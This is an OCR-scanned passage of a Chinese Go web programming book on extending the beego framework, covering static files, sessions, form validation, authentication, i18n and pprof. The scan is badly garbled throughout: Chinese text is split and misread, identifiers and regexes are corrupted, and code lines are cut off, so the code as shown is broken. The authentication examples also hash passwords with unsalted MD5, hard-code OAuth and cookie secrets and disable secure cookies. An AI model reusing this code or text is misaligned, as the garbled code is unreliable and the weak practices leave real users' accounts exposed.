这 一 章 我 们 主要 介绍 了 如 何 实现 一 个 基础 的 Go 语言 框架 ， 框 架 包 含有 路 由 设计 ， 由 
于 Go 内 和 置 的 http 包 中 路 由 的 一 些 不 足 点 ， 我 们 设计 了 动态 路 由 规则 ， 然 后 介绍 了 
MVC 模 式 中 的 Controller 设 计 ，controller 实 现 了 REST 的 实现 ， 这 个 主要 思路 来 源 于 
tornado 框 架 ， 然 后 设计 实现 了 模板 的 layout 以 及 自动 化 泻 染 等 技术 ， 主 要 采用 了 Go 
内 置 的 模板 引擎 ， 最 后 我 们 介绍 了 一 些 辅助 的 日 志 、 配 置 等 信息 的 设计 ， 通 过 这 些 
设计 我 们 实现 了 一 个 基础 的 框架 beego， 目 前 该 框架 已 经 开源 在 github， 最 后 我 们 
通过 beego 实 现 了 一 个 博客 系统 ， 通 过 实例 代码 详细 的 展现 了 如 何 快速 的 开发 一 个 
站 点 。 


links 
e Ax 
e 上 一 章 : 实现 博客 的 增删 改 
e 下 一 节 : 扩展 Web 框 架 


14 扩展 Web 框 架 


第 十 三 章 介 绍 了 如 何 开发 一 个 Web 框 架 ， 通 过 介绍 MVC、 路 由 、 日 志 人 处 理 、 配 置 多 
理 完 成 了 一 个 基本 的 框架 系统 ， 但 是 一 个 好 的 框架 需要 一 些 方便 的 辅助 工具 来 快速 
的 开发 Web， 那 么 我 们 这 一 章 将 就 如 何 提供 一 些 快速 开发 Web 的 工具 进行 介绍 ， 第 
一 小 节 介 绍 如 何 义理 静态 文件 ， 如 何 利 用 现 有 的 twitter 开 源 的 bootstrap 进 行 快速 的 
开发 美观 的 站 点 ， 第 二 小 节 介 绍 如 何 利 用 前 面 介 绍 的 session 来 进行 用 户 登 录 义 理 ， 
第 三 小 节 介 绍 如 何方 便 的 输出 表单 、 这 些 表 单 如 何 进行 数据 验证 ， 如 何 快速 的 结合 
model 进 行 数 据 的 增删 改 操作 ， 第 四 小 节 介 绍 如 何 进行 一 些 用 户 认 证 ， 包 括 http 
basic 认 证 、http digest 认 证 ， 第 五 小 节 介绍 如 何 利 用 前 面 介绍 的 i118n 支 持 多 语言 的 
应 用 开发 。 第 六 小 节 介绍 了 如 何 集 成 Go 的 pprof 包 用 于 性 能 调试 。 

通过 本 章 的 扩展 ，beego 框 架 将 具有 快速 开发 Web 的 特性 ， 最 后 我 们 将 讲解 如 何 利 
用 这 些 扩展 的 特性 扩展 开发 第 十 三 章 开 发 的 博客 系统 ， 通 过 开发 一 个 完整 、 美观 的 
博客 系统 让 读者 了 解 beego 开 发 带 给 你 的 快速 。 


目录 

links 
e 目录 
e 上 一 章 : 第 十 三 章 总 结 
。 下 一 节 : 静态 文件 支持 


14.1 BRAM PS 


我 们 在 前 面 已 经 讲 过 如 何 处 理 静 态 文件 ， 这 小 节 我 们 详细 的 介绍 如 何在 beego 里 面 
设置 和 使 用 静态 文件 。 通 过 再 介绍 一 个 twitter 开 源 的 html、css 框 架 bootstrap， 无 需 
大 量 的 设计 工作 就 能 够 让 你 快速 地 建立 一 个 漂亮 的 站 点 。 


beego 静 态 文件 实现 和 设置 


Go 的 net/http 包 中 提供 了 静态 文件 的 服务 ， ServeFile 和 Fileserver SMA. 
beego 的 静态 文件 处 理 就 是 基于 这 一 层 处 理 的 ， 具 体 的 实现 如 下 所 示 : 


//static file server 
for prefix, staticDir := range StaticDir { 
if strings.HasPrefix(r.URL.Path, prefix) { 
file := staticDir + r.URL.Path[len(prefix): ] 
http.ServeFile(w, r, file) 
w.started = true 
return 


StaticDir 里 面 保 存 的 是 相应 的 url 对 应 到 静态 文件 所 在 的 目录 ， 因 此 在 处 理 URL 请 求 
的 时 候 只 需要 判断 对 应 的 请 求 地 址 是 否 包含 静态 处 理 开 头 的 url， 如 果 包 含 的 话 就 采 
用 http.ServeFile 提 供 服 务 。 


举例 如 下 : 


beego.StaticDir["/asset"] = "/static" 


那么 请 求 url 如 http://www.beego.me/asset/bootstrap.css 就 会 请 
求 /static/bootstrap.css 来 提供 反馈 给 客户 端 。 


bootstrap 集 成 


Bootstrap 是 Twitter 推出 的 一 个 开源 的 用 于 前 端 开 发 的 工具 包 。 对 于 开发 者 来 说 ， 
Bootstrap 是 快速 开发 Web 应 用 程序 的 最 佳 前 端 工具 包 。 它 是 一 个 CSS 和 HTML 的 集 
合 ， 它 使 用 了 最 新 的 HTML5 标 准 ， 给 你 的 Web 开 发 提供 了 时 尚 的 版 式 ， 表 单 ， 按 
钮 ， 表 格 ， 网 格 系统 等 等 。 


e 组件 Bootstrap 中 包含 了 丰富 的 Web 组 件 ， 根 据 这 些 组 件 ， 可 以 快速 的 拱 
建 一 个 漂亮 、 功 能 完备 的 网 站 。 其 中 包括 以 下 组 件 : 下 拉 菜 单 、 按 钮 组 、 
teen FHSS, Sin, SR. HARB. On. BE. HA. ZE qE, 


进度 条 、 媒 体 对 象 等 
e Javascript 插 件 Bootstrap 自 带 了 13 个 jQuery 插件 ， 这 些 插件 为 Bootstrap 中 
的 组 件 赋予 了 “生命 "。 其 中 包括 : 模式 对 话 框 、 标 签 页 、 滚 动 条 、 弹 出 框 


等 。 
。 定制 自己 的 框架 代码 可 以 对 Bootstrap 中 所 有 的 CSS 变 量 进 行 修改 ， 依 所 
自己 的 需求 裁剪 代码 。 


图 14.1 bootstrap 站 点 
接 下 来 我 们 利用 bootstrap 集 成 到 beego 杠 架 里 面 来 ， 快 速 的 建立 一 个 漂亮 的 站 点 。 


1. 首先 把 下 载 的 bootstrap 目 录放 到 我 们 的 项 目 目录 ， 取 名 为 static， 如 下 截图 所 
ZJN 


图 14.2 项 目 中 静态 文件 目录 结构 


2. 因为 beego 默 认 设置 了 StaticDir 的 值 ， 所 以 如 果 你 的 静态 文件 目录 是 static 的 话 
就 无 须 再 增加 了 : 


StaticDir["/static"] = "static" 


3. 模板 中 使 用 如 下 的 地 址 就 可 以 了 : 


//css 文 件 
<link href="/static/css/bootstrap.css" rel="stylesheet"> 


//js 文 件 
<script src="/static/js/bootstrap-transition.js"></script> 


// 图 片 文件 


<img src="/static/img/logo.png"> 


上 面 可 以 实现 把 bootstrap 集 成 到 beego 中 来 ， 如 下 展示 的 图 就 是 集成 进来 之 后 的 展 
现 效果 图 : 


图 14.3 构建 的 基于 bootstrap 的 站 点 界面 


这 些 模 板 和 格式 bootstrap 官 方 都 有 提供 ， 这 边 就 不 再 重复 贴 代 码 ， 大 家 可 以 上 
bootstrap 官 方 网 站 学 习 如 何 编写 模板 。 


links 


e 目录 
e 上 一 节 : 扩展 Web 框 架 


Go Web 编程 


e 下 一 节 : Session 支 持 


静态 文件 支持 379 


14.2 Session 支 持 


第 六 章 的 时 候 我 们 介绍 过 如 何在 Go 语言 中 使 用 session， 也 实现 了 一 
sessionManger, beego 框 架 基于 sessionManager 实 现 了 方便 的 session 处理 功能 


session 集 成 


beego 中 主要 有 以 下 的 全 局 变量 来 控制 session 处 理 : 


二 _ _ = 


//related to session 


SessionOn bool // 是 否 开启 session 模 块 ， 默 认 不 开局 
SessionProvider string // session 后 端 提供 义理 模块 ， 默 认 是 sessionM: 
SessionName string // 客户 端 保存 的 cookies 的 名 称 


SessionGCMaxLifetime int64 // cookies 有 效 期 


GlobalSessions *session.Manager // 全 局 session 控 制 器 





当然 上 面 这 些 变量 需要 初始 化 值 ， 也 可 以 按照 下 面 的 代码 来 配合 配置 文件 以 设置 
些 值 : 

if ar, err := AppConfig.Bool("Sessionon"); err != nil { 
SessionOn = false 

} else { 
SessionOn = ar 

} 

if ar := AppConfig.String("sessionprovider"); ar == "" { 
SessionProvider = "memory" 

} else { 
SessionProvider = ar 

} 

if ar := AppConfig.String("sessionname"); ar == "" { 
SessionName = "beegosessionID" 

} else { 
SessionName = ar 

if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && 
int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) 
SessionGCMaxLifetime = int64val 

} else { 
SessionGCMaxLifetime = 3600 

} 


‘| 











fEbeego.RunW a Fie ga Rt : 


if Sessionon { 
GlobalSessions, _ = session.NewManager(SessionProvider, Sessior 
go GlobalSessions.GC() 


«| -一 -g 
这 样 只 要 SessionOn 设 置 为 true， 那 么 就 会 默认 开启 session 功 能 ， 独 立 开 一 个 
goroutine 来 义理 session。 


为 了 方便 我 们 在 自 定义 Controller 中 快速 使 用 session， 作 者 
在 beego.Controller 中 提供 了 如 下 方法 : 








func (c *Controller) StartSession() (sess session.Session) { 
sess = GlobalSessions.SessionStart(c.Ctx.Responsewriter, c.Ctx 
return 





session(# Ħ 


通过 上 面 的 代码 我 们 可 以 看 到 ，beego 框 架 简 单 地 继承 了 session 功 能 ， 那 么 在 项 目 
中 如 何 使 用 呢 ? 


首先 我 们 需要 在 应 用 的 main 入 口外 开启 session : 


beego.SessionOn = true 


然后 我 们 就 可 以 在 控制 器 的 相应 方法 中 如 下 所 示 的 使 用 session 了 : 


func (this *MainController) Get() { 
var intcount int 
sess := this.StartSession() 
count := sess.Get("count") 
if count == nil { 
intcount = 0 
} else { 
intcount = count. (int) 
} 


intcount = intcount + 1 
sess.Set("count", intcount) 
this.Data["Username"] = "astaxie" 
this.Data["Email"] = "astaxie@gmail.com" 
this.Data["Count"] = intcount 
this.TplNames = "index.tpl" 


上 面 的 代码 展示 了 如 何在 控制 逻辑 中 使 用 session， 主 要 分 两 个 步骤 : 
1. 获取 session 对 象 
// 获 取 对 象 , 类 似 PHP 中 的 session_start() 
sess := this.StartSession() 
2. 使 用 session 进 行 一 般 的 session 值 操作 


// 获 取 session 值 ， 类 似 PHP 中 的 $_SESSION["count"] 
sess.Get("count") 


// 设 置 session 值 
sess.Set("count", intcount) 


从 上 面 代码 可 以 看 出 基于 beego 框 架 开发 的 应 用 中 使 用 session 相 当 方 便 ， 基 本 上 和 
PHP 中 调用 session_start() 类 似 。 
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14.3 表单 及 验证 支持 


在 Web 开 发 中 对 于 这 样 的 一 个 流程 可 能 很 眼熟 : 


。 打开 一 个 网 页 显示 出 表单 。 

。 用 户 填写 并 提交 了 表单 。 

。 如 果 用 户 提交 了 一 些 无 效 的 信息 ， 或 者 可 能 漏 掉 了 一 个 必 填 项 ， 表 单 将 会 连同 
用 户 的 数据 和 错误 问题 的 描述 信息 返回 。 

。 用户 再 次 填写 ， 继 续 上 一 步 过程 ， 直 到 提交 了 一 个 有 效 的 表单 。 


在 接收 端 ， 脚 本 必须 : 


。 检查 用 户 递交 的 表单 数据 。 

验证 数据 是 否 为 正确 的 类 型 ， 合 适 的 标准 。 例 如 ， 如 果 一 个 用 户 名 被 提交 ， 它 
必须 被 验证 是 否 只 包含 了 人 允许 的 字符 。 它 必须 有 一 个 最 小 长 度 ， 不 能 超过 最 大 
长 度 。 用 户 名 不 能 与 已 存在 的 他 人 用 户 名 重复 ， 其 至 是 一 个 保留 字 等 。 

。 过 滤 数 据 并 清理 不 安全 字符 ， 保 证 逻辑 处 理 中 接收 的 数据 是 安全 的 。 

如 果 需 要 ， 预 格式 化 数据 (数据 需要 清除 空白 或 者 经 过 HTML 编 码 等 等 。) 

。 准备 好 数据 ， 插 入 数据 库 。 


尽管 上 面 的 过 程 并 不 是 很 复杂 ， 但 是 通常 情况 下 需要 编写 很 多 代码 ， 而 且 为 了 显示 
错误 信息 ， 在 网 页 中 经 常 要 使 用 多 种 不 同 的 控制 结构 。 创 建 表单 验证 虽 简 单 ， 实 施 
起 来 实在 枯燥 无 味 。 


表单 和 验证 


对 于 开发 者 来 说 ， 一 般 开 发 过 程 都 是 相当 复 杀 ， 而 且 大 多 是 在 重复 一 样 的 工作 。 假 
设 一 个 场景 项 目 中 忽然 需要 增加 一 个 表单 数据 ， 那 么 局 部 代码 的 整个 流程 都 需要 修 
改 。 我 们 知道 Go 里 面 struct 是 常用 的 一 个 数据 结构 ， 因 此 beego 的 form 采 用 了 struct 
来 处 理 表 单 信 息 。 


首先 定义 一 个 开发 Web 应 用 时 相对 应 的 struct， 一 个 字段 对 应 一 个 form 元 素 ， 通 过 
struct 的 tag 来 定义 相应 的 元 素 信息 和 验证 信息 ， 如 下 所 示 : 


type User structf{ 


Username string form: text, valid: required- 

Nickname string form: text, valid: required 

Age int ‘form: text, valid: required|numeric”™ 
Email string form: text, valid: required|valid_email 
Introduce string *form:textarea- 


} 
| 
定义 好 struct 之 后 接 下 来 在 controller 中 这 样 操作 


func (this *AddController) Get() { 
this.Data["form"] = beego.Form(&User{}) 
this.Layout = "admin/layout.html" 
this.TplNames = "admin/add.tp1" 


在 模板 中 这 样 显示 表单 


<hi>New Blog Post</h1i> 

<form action="" method="post"> 
{{.form.render()}} 

</form> 


上 面 我 们 定义 好 了 整个 的 第 一 步 ， 从 struct 到 显示 表单 的 过 程 ， 接 下 来 就 是 用 户 填 
写 信 息 ， 服 务 器 端 接 收 数据 然后 验证 ， 最 后 插入 数据 库 。 


func (this *AddController) Post() { 
var user User 
form := this.GetInput(é&user ) 
if !form.Validates() { 
return 


models.UserInsert(&user ) 
this.Ctx.Redirect(302, "/admin/index" ) 


表单 类 型 


以 下 列表 列 出 来 了 对 应 的 form 元 素 信 息 : 


名 称 参数 功能 描述 


text No textbox 输 入 框 
button No 按钮 
checkbox No 多 选择 框 
dropdown No 下 拉 选 择 框 
file No 文件 上 传 
hidden No 隐藏 元 素 
password No 密码 输入 框 
radio No 单 选 框 
textarea No 文本 输入 框 
表单 验证 
以 下 列表 将 列 出 可 被 使 用 的 原生 规则 
规则 数 描述 举例 
; 如 果 元 素 为 空 ， 则 返回 
required No FALSE 
如 果 表 单元 素 的 值 与 参 
数 中 对 应 的 表单 字段 的 
matches Yes 值 不 相等 ， 则 返回 matches[form_item] 
FALSE 
如 果 表 单元 素 的 值 与 指 
定数 据 表 栏 位 有 重复 ， 
则 返回 False ( 译 者 注 : 
比如 
is_unique[User.Email], 
nar KA > 
is_unique Yes pet ay ee is_unique[table.field] 
有 和 与 表单 元 素 一 样 的 
值 ， 如 存 重 复 ， 则 返回 
false， 这 样 开 发 者 就 不 
必 另 写 Callback 验 证 代 
码 。) 
如 果 表 单元 素 值 的 字符 
min_length Yes 长 度 少 于 参数 中 定义 的 min_length[6] 


数字 ， 则 返回 FALSE 


max_length 


exact_length 


greater_than 


less_than 


alpha 


alpha_numeric 


alpha_dash 


numeric 


integer 


decimal 


is_natural 


is_natural_no_zero 


Yes 


Yes 


Yes 


Yes 


No 


No 


No 


No 


No 


Yes 


No 


No 


如 果 表 单元 素 值 的 字符 
长 度 大 于 参数 中 定义 的 
数字 ， 则 返回 FALSE 


如 果 表 单元 素 值 的 字符 
长 度 与 参数 中 定义 的 数 
字 不 符 ， 则 返回 FALSE 


如 果 表 单元 素 值 是 非 数 
字 类 型 ， 或 小 于 参数 定 
义 的 值 ， 则 返回 FALSE 


如 果 表 单元 素 值 是 非 数 
字 类 型 ， 或 大 于 参数 定 
义 的 值 ， 则 返回 FALSE 


如 果 表 单元 素 值 中 包含 
除 字母 以 外 的 其 他 字 
符 ， 则 返回 FALSE 


如 果 表 单元 素 值 中 包含 
除 字 母 和 数字 以 外 的 其 
他 字符 ， 则 返回 FALSE 


如 果 表 单元 素 值 中 包含 
除 字母 /数字 /下 划 线 / 破 
折 号 以 外 的 其 他 字符 ， 
则 返回 FALSE 


如 果 表 单元 素 值 中 包含 
除数 字 以 外 的 字符 ， 则 
返回 FALSE 


如 果 表 单元 素 中 包含 除 
整数 以 外 的 字符 ， 则 返 
回 FALSE 


如 果 表 单元 素 中 输入 
( 非 小 数 ) 不 完整 的 
值 ， 则 返回 FALSE 


如 果 表 单元 素 值 中 包含 
了 非 自然 数 的 其 他 数值 
(其 他 数值 不 包括 

需 ) ， 则 返回 FALSE。 
自然 数 形 如 : 0,1,2,3.... 


o 


如 果 表 单元 素 值 包含 了 

非 自 然 数 的 其 他 数值 
(其 他 数值 包括 需 ) , 

则 返回 FALSE。 非 震 的 


max_length[12] 


exact_length[8] 


greater_than[8] 


less_than[8] 


valid_email 


valid_emails 


valid_ip 


valid_base64 
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No 


No 


No 


No 


自然 数 : 1,2,3..... 等 等 。 


如 果 表 单元 素 值 包含 不 
合法 的 email 地 址 ， 则 返 
回 FALSE 


如 果 表 单元 素 值 中 任何 
一 个 值 包含 不 合法 的 
email 地 址 (地 址 之 间 用 
英文 逗号 分 割 ) ， 则 返 
回 FALSE。 


如 果 表单 元 素 的 值 不 是 
一 个 合法 的 IP 地 址 ， 则 
返回 FALSE。 


如 果 表 单元 素 的 值 包含 
除了 base64 编码 字符 之 
外 的 其 他 字符 ， 则 返回 
FALSE。 


14.4 用 户 认 证 
在 开发 Web 应 用 过 程 中 ， 用 户 认 证 是 开发 者 经 常 遇 到 的 问题 ， 用 户 登 录 、 注 册 、 登 
出 等 操作 ， 而 一 般 认 证 也 分 为 三 个 方面 的 认证 


e HTTP Basic 和 HTTP Digest 认 证 

。 第 三 方 集成 认证 : QQ. WIE. BHR OPENID, google, github, facebook#ll 
twitter 等 

e。 自 定 义 的 用 户 登 录 、 注 册 、 登 出 ， 一 般 都 是 基于 session、cookie 认 证 


beego 目 前 没有 针对 这 三 种 方式 进行 任何 形式 的 集成 ， 但 是 可 以 充分 的 利用 第 三 方 
开源 库 来 实现 上 面 的 三 种 方式 的 用 户 认证 ， 不 过 后 续 beego 会 对 前 面 两 种 认证 逐步 


o 


HTTP Basic 和 HTTP Digest it 


这 两 个 认证 是 一 些 应 用 采用 的 比较 简单 的 认证 ， 目 前 已 经 有 开源 的 第 三 方 库 支 持 这 
两 个 认证 : 


github.com/abbot/go-http-auth 


下 面 代 码 演 示 了 如 何 把 这 个 库 引 入 beego 中 从 而 实现 认证 : 


package controllers 


import ( 
"github.com/abbot/go-http-auth" 
"github.com/astaxie/beego" 


) 


func Secret(user, realm string) string { 
if user == "john" { 
// password is "hello" 
return "$1$d1PL2MqE$oQmni6q49SqdmhenQuNgsi" 
} 


return "" 


} 


type MainController struct { 
beego.Controller 


} 
func (this *MainController) Prepare() { 
a := auth.NewBasicAuthenticator("example.com", Secret) 
if username := a.CheckAuth(this.Ctx.Request); username == "" { 
a.RequireAuth(this.Ctx.Responsewriter, this.Ctx.Request ) 
} 
} 
func (this *MainController) Get() { 
this.Data["Username"] = "astaxie" 
this.Data["Email"] = "astaxie@gmail.com" 
this.TplNames = "index.tpl" 
} 
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就 非常 简单 的 实现 了 http auth, digesthVii ict Sal REE. 


oauth 和 oauth2 的 认证 


oauth 和 oauth2 是 目前 比较 流行 的 两 种 认证 方式 ， 还 好 第 三 方 有 一 个 库 实 现 了 这 个 
认证 ， 但 是 是 国外 实现 的 ， 并 没有 QQ、 微 博之 类 的 国内 应 用 认证 集成 : 


github.com/bradrydzewski/go.auth 


下 面 代码 演示 了 如 何 把 该 库 引 入 beego 中 从 而 实现 oauth 的 认证 ， 这 里 以 github 为 例 
演示 : 


1. 添加 两 条 路 由 


beego.RegisterController("/auth/login", &controllers.GithubCor 
beego.RegisterController("/mainpage", &controllers.PageControl 








2. 然后 我 们 处 理 GithubController 登 陆 的 页 面 : 


package controllers 


import ( 
"github.com/astaxie/beego" 
"github.com/bradrydzewski/go.auth" 


) 
const ( 

githubClientKey = "a0864ea791ce7e7bd0dFf" 

githubSecretKey = "a0ec09a647a688a64a28F6190b5a0d2705df56c 
) 


type GithubController struct { 
beego.Controller 
} 


func (this *GithubController) Get() { 
// set the auth parameters 
auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJe 
auth.Config.LoginSuccessRedirect = "/mainpage" 
auth.Config.CookieSecure = false 
githubHandler := auth.Github(githubClientKey, githubSecret 


githubHandler.ServeHTTP(this.Ctx.Responsewriter, this.Ctx. 


EJE 
1. 处 理 登 陆 成 功 之 后 的 页 面 





package controllers 


import ( 
"github.com/astaxie/beego" 
"github.com/bradrydzewski/go.auth" 
"net/http" 
"net/url" 


) 


type PageController struct { 
beego.Controller 
} 


func (this *PageController) Get() { 
// set the auth parameters 
auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJe 
auth.Config.LoginSuccessRedirect = "/mainpage" 
auth.Config.CookieSecure = false 


user, err := auth.GetUserCookie(this.Ctx.Request ) 


//if no active user session then authorize user 


if err != nil || user.Id() == "" { 
http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Reques 
return 

} 


//else, add the user to the URL and continue 
this.Ctx.Request.URL.User = url.User(user.Id()) 
this.Data["pic"] = user.Picture() 
this.Data["id"] = user.Id() 

this.Data["name"] = user.Name() 

this.TplNames = "home.tp1" 


4] == pge 
整个 的 流程 如 下 ， 首 先 打开 浏览 器 输入 地 址 : 





图 14.4 显示 带 有 登录 按钮 的 首页 
然后 点 击 链接 出 现 如 下 界面 : 


图 14.5 点 击 登录 按钮 后 显示 github 的 授权 页 
然后 点 击 Authorize app 就 出 现 如 下 界面 : 


图 14.6 授权 登录 之 后 显示 的 获取 到 的 github 信 息 页 


自 定 义 认 证 


自 定义 的 认证 一 般 都 是 和 session 结 合 验证 的 ， 如 下 代码 来 源 于 一 个 基于 beego 的 开 
源 博 客 : 


// 登 陆 处 理 
func (this *LoginController) Post() { 


} 


this.TplNames = "login.tpl" 

this.Ctx.Request .ParseForm( ) 

username := this.Ctx.Request.Form.Get("username" ) 
password := this.Ctx.Request.Form.Get("password" ) 
md5Password := md5.New() 
io.WriteString(md5Password, password) 

buffer := bytes.NewBuffer (nil) 

fmt.Fprintf (buffer, "%x", md5Password.Sum(nil) ) 
newPass := buffer.String() 


now := time.Now().Format( "2006-01-02 15:04:05") 


userInfo := models.GetUserInfo(username ) 
if userInfo.Password == newPass { 
var users models.User 
users.Last_logintime = now 
models.UpdateUserInfo(users) 


// 登 录 成 功 设置 session 

sess := globalSessions.SessionStart(this.Ctx.ResponseWritei 
sess.Set("uid", userInfo.Id) 

sess.Set("uname", userInfo.Username) 


this.Ctx.Redirect(302, "/") 


// 注 册 处 理 
func (this *RegController) Post() { 


this.TplNames = "reg.tpl" 

this.Ctx.Request.ParseForm() 

username := this.Ctx.Request.Form.Get("username" ) 

password := this.Ctx.Request.Form.Get("password") 

usererr := checkUsername(username) 

fmt .Printiln(usererr) 

if usererr == false { 
this.Data["UsernameErr"] = "Username error, Please to agair 
return 


} 


passerr := checkPassword(password) 
if passerr == false { 


this.Data["PasswordErr"] = "Password error, Please to agair 
return 


} 


md5Password := md5.New() 
io.WriteString(md5Password, password) 

buffer := bytes.NewBuffer (nil) 

fmt.Fprintf (buffer, "%x", md5Password.Sum(nil) ) 
newPass := buffer.String() 


now := time.Now().Format( "2006-01-02 15:04:05") 
userInfo := models.GetUserInfo(username ) 


if userInfo.Username == "" { 
var users models.User 
users.Username username 
users.Password newPass 
users.Created = now 
users.Last_logintime = now 
models.AddUser (users) 


// 登 录 成 功 设置 session 
sess := globalSessions.SessionStart(this.Ctx.Responsewritet 
sess.Set("uid", userInfo.Id) 
sess.Set("uname", userInfo.Username) 
this Ctx Redirect (2e2, "/") 
} else { 
this.Data["UsernameErr"] = "User already exists" 
} 


} 


func checkPassword(password string) (b bool) { 
if ok, _ := regexp.MatchString("4[a-ZzA-Z0-9]{4,16}$", password. 
return false 
} 


return true 


} 


func checkUsername(username string) (b bool) { 
if ok, _ := regexp.MatchString("4[a-zA-Z0-9]{4,16}$", username: 
return false 
} 


return true 


} 
EE | 


有 了 用 户 登 陆 和 注册 之 后 ， 其 他 模块 的 地 方 可 以 增加 如 下 这 样 的 用 户 是 否 登 陆 的 判 
ET : 





func (this *AddBlogController) Prepare() { 


sess := globalSessions.SessionStart(this.Ctx.Responsewriter, tl 
sess_uid := sess.Get("userid") 
sess_username := sess.Get("username" ) 
if sess_uid == nil { 
this.Ctx.Redirect(302, "/admin/login" ) 
return 


this.Data["Username"] = sess _username 








} 
«| _ 
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14.5 多 语言 文 持 


我 们 在 第 十 章 介 绍 过 国际 化 和 本 地 化 ， 开 发 了 一 个 go-i18n 库 ， 这 小 节 我 们 将 把 该 库 
集成 到 beego 框 架 里 面 来 ， 使 得 我 们 的 框架 支持 国际 化 和 本 地 化 。 


i18n 集 成 


beego 中 设置 全 局 变量 如 下 : 
Translation 118n.IL 
Lang string  // 设 置 语言 包 ，zh、en 


LangPath string  // 设 置 语言 包 所 在 位 置 


初始 化 多 语言 函数 : 


func InitLang(){ 
beego.Translation:=i18n.NewLocale( ) 
beego.Translation.LoadPath(beego.LangPath) 
beego.Translation.SetLocale(beego.Lang) 


为 了 方便 在 模板 中 直接 调用 多 语言 包 ， 我 们 设计 了 三 个 函数 来 处 理 响 应 的 多 语言 : 


beegoTplFuncMap["Trans"] = 118n.118nT 
beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate 
beegoTplFuncMap["TransMoney"] = 118n.118nMoney 


func I18nT(args ...interface{}) string { 
ok := false 
var s string 
if len(args) == 1 { 
s, ok = args[0].(string) 


} 
if !ok { 
s = fmt.Sprint(args...) 
} 
return beego.Translation.Translate(s) 
} 
func I18nTimeDate(args ...interface{}) string { 
ok := false 
var s string 
if len(args) == 1 { 
s, ok = args[0].(string) 
} 
if !ok { 
s = fmt.Sprint(args...) 
} 
return beego.Translation.Time(s) 
} 


func I18nMoney(args ...interface{}) string { 
ok := false 
var s string 
if len(args) == 1 { 
s, ok = args[0].(string) 


} 
if !ok { 
s = fmt.Sprint(args...) 


Ww 


return beego.Translation.Money(s) 


1. 设置 语言 以 及 语言 包 所 在 位 置 ， 然 后 初始 化 i18n 对 象 : 


beego.Lang = "zh" 
beego.LangPath = "views/lang" 
beego.InitLang() 


2. 设计 多 语言 包 


上 面 讲 了 如 何 初始 化 多 语言 包 ， 现 在 设计 多 语言 包 ， 多 语言 包 是 json 文 件 ， 如 
第 十 章 介 绍 的 一 样 ， 我 们 需要 把 设计 的 文件 放 在 LangPath 下 面 ， 例 如 zh.json 
或 者 en.json 


# zh.json 

{ 

"zh": { 
"submit": W ese", 
"create": "创建 " 
} 

} 

#en.json 

"en": { 
"submit": "Submit", 
"create": "Create" 
} 

} 

3. 使 用 语言 包 


我 们 可 以 在 controller 中 调用 翻译 获取 响应 的 翻译 语言 ， 如 下 所 示 : 


func (this *MainController) Get() { 
this.Data["create"] = beego.Translation.Translate("create" 
this.TplNames = "index.tpl" 


} 
| 
我 们 也 可 以 在 模板 中 直接 调用 响应 的 翻译 函数 : 


// 直 接 文本 翻译 
{{.create | Trans}} 


// 时 间 翻 译 
{{.time | TransDate}} 


// 货 币 翻译 
{{.money | TransMoney}} 
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14.6 pprof 支 持 


Go 语言 有 一 个 非常 棒 的 设计 就 是 标准 库 里 面 带 有 代码 的 性 能 监控 工具 ， 在 两 个 地 方 
有 包 : 
net/http/pprof 


runtime/pprof 


其 实 net/http/pprof 中 只 是 使 用 runtime/pprof 包 来 进行 封装 了 一 下 ， 并 在 http 端 口上 
暴露 出 来 


beego 支 持 pprof 


目前 beego 框 架 新 增 了 pprof， 该 特性 默认 是 不 开启 的 ， 如 果 你 需要 测试 性 能 ， 查 看 

Hig 的 执行 goroutine 之 类 的 信息 ， 其 实 Go 的 默认 包 "net/http/pprof" 已 经 具有 该 功 
AN SRR AE 归 Go 默 认 的 方式 执行 Web， 默认 就 可 以 使 用 ， 但 是 由 于 beego 重 新 封装 

TSA TIPER, 默认 的 包 是 无 法 开启 该 功能 的 ， 所 以 需要 对 beego 的 内 部 改造 
村 pprof。 


e 首先 在 beego.Run 画 数 中 根据 变量 是 否 自动 加 载 性 能 包 


if PprofOn { 
BeeApp.RegisterController(~/debug/pprof’, &ProfController 
BeeApp.RegisterController( ~/debug/pprof/:pp([\w]+)°, &Prc 


4] Sos 





e 设计 ProfConterller 


package beego 


import ( 
"net/http/pprof" 
) 


type ProfController struct { 
Controller 


} 


func (this *ProfController) Get() { 

switch this.Ctx.Params[":pp"] { 
default: 

pprof.Index(this.Ctx.ResponsewWriter, this.Ctx.Request 
case se: 

pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request 
case "cmdline": 

pprof.Cmdline(this.Ctx.ResponsewWriter, this.Ctx.Reque 
case "profile": 

pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Reque 
case "symbol": 

pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Reques 


this.Ctx.ResponsewWriter .WriteHeader (200) 





使 用 入 门 

通过 上 面 的 设计 ， 你 可 以 通过 如 下 代码 开启 pprof : 
beego.PprofOn = true 

然后 你 就 可 以 在 浏览 器 中 打开 如 下 URL 就 看 到 如 下 界面 : 


图 14.7 系统 当前 goroutine、heap、thread 信 息 
点 击 goroutine 我 们 可 以 看 到 很 多 详细 的 信息 : 


图 14.8 显示 当前 goroutine 的 详细 信息 


我 们 还 可 以 通过 命令 行 获取 更 多 详细 的 信息 


go tool pprof http://localhost :8080/debug/pprof/profile 


这 时 候 程序 就 会 进入 30 秒 的 profile 收 集 时 间 ， 在 这 段 时 间 内 拼命 刷新 浏览 器 上 的 页 
面 ， 尽 量 让 cpu 占 用 性 能 产生 数据 。 


(pprof) top10 


Total: 3 samples 


1 

1 

1 

0 0.0% 100 
© 0.0% 100. 
0 0.0% 100. 
0 0.0% 100. 
0 0.0% 100. 
0 0.0% 100. 
0 0.0% 100. 

(pprof )web 


33.3% 33.3% 1 33.3% MHeap_AllocLocked 


33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors 


33.3% 100.0% 1 33.3% runtime.sigprocmask 


.0% 1 33. 


0% 


0% 


0% 


0% 


0% 


0% 


2 


2 


66. 


66. 


66. 


33. 


66. 


66. 


图 14.9 展示 的 执行 流程 信息 
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7% 


7% 


7% 


3% 


7% 


7% 


MCentral_Grow 

main.Compile 

main.compile 

main.run 

makeslice1 

net/http. (*ServeMux) .ServeHTTP 


net/http.(*conn).serve 


14.7 小 结 


